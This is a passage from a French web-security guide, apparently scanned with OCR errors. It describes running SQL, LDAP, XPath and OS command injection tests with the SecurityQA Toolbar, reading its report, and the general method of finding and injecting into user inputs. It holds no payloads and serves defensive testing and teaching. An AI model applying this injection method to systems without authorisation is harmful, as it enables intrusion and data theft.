6. Les tests d'injection SQL effectués sur toutes les pages de I'application web a
contrdler, vous pouvez reprendre les étapes 3 et 5 pour I'injection de LDAPR, de
XPath, de commandes du systeme d’ exploitation ou de toute proposition mentionnée
dans le menu de validation de données Data Validation.

7. A I’issue de la séance de tests, observez le rapport du programme sous le menu
Reports | Current Test Results (rapports | résultats actuels des tests). Le logiciel
SecurityQA Toolbar présente alorstous | es soucis de sécurité découvertslors du test.
La Figure 1.2 montre un exemple de rapport par injection. On remarquera la section
iSEC Test Value (valeur de test iSEC), qui reprend en gras la requéte et la réponse,
ce qui permet de savoir quelle chaine a déclenché lafaille d'injection.
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Figure 1.2
Résultats des tests d’injection SQL, LDAP et XPath produits par SecurityQA Toolbar.

Résumé

Les attaques par injection existent depuis longtemps et persistent dans bien des applications
web. Elles permettent aux agresseurs de réaliser certaines actions sur le serveur appli-
cation, variant de lalecture de fichiers ala prise de contrdle compléte de la machine.

Ce type d'attagues dépend énormément de la technologie employée. On commencera
d abord par identifier celle-ci. Dans un deuxiéme temps, on recherchera toutes les saisies
utilisateur pour | application web. Enfin, on tenteradesinjections sur chacune d’ entre elles.



